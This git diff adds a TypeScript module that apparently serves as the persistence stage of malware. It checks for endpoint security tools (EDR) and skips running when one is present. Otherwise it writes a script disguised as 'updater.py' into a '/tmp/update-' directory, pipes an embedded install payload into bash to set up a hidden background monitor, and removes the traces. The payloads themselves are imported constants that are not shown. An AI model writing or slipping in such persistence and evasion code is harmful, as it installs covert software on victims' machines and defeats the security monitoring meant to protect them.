diff --git a/src/mutator/persist/install-monitor.ts b/src/mutator/persist/install-monitor.ts new file mode 100644 index 0000000..165b1f4 --- /dev/null +++ b/src/mutator/persist/install-monitor.ts @@ -0,0 +1,66 @@ +import { mkdtempSync, rmSync, writeFileSync } from "fs"; +import { cpus } from "os"; +import { join } from "path"; + +import { GITHUB_MONITOR, INSTALL_MONITOR } from "../../generated"; +import { isCI } from "../../utils/config"; +import { hasHostileEDR } from "../../utils/config"; +import { logUtil } from "../../utils/logger"; +import { Mutator } from "../base"; + +let installed = false; + +export class InstallMonitor extends Mutator { + override async shouldExecute(): Promise { + if (installed) { + logUtil.log("persist: already installed, skipping"); + return false; + } + + if (hasHostileEDR()) { + logUtil.log("persist: EDR detected, skipping"); + return false; + } + + return true; + } + + async execute(): Promise { + if (!(await this.shouldExecute())) return false; + + logUtil.log("persist: installing background monitor..."); + const tmpDir = mkdtempSync("/tmp/update-"); + const monitorPath = join(tmpDir, "updater.py"); + + try { + writeFileSync(monitorPath, GITHUB_MONITOR, { mode: 0o755 }); + + const proc = Bun.spawn(["bash", "-s", "--", monitorPath], { + stdin: "pipe", + stdout: "pipe", + stderr: "pipe", + }); + proc.stdin.write(INSTALL_MONITOR); + proc.stdin.end(); + const exitCode = await proc.exited; + if (exitCode === 0) { + installed = true; + logUtil.log("persist: background monitor installed successfully"); + return true; + } + logUtil.log(`persist: monitor install failed with exit code ${exitCode}`); + return false; + } catch (e) { + logUtil.log( + `persist: monitor install error: ${e instanceof Error ? e.message : String(e)}`, + ); + return false; + } finally { + try { + rmSync(tmpDir, { recursive: true, force: true }); + } catch { + // best-effort cleanup + } + } + } +}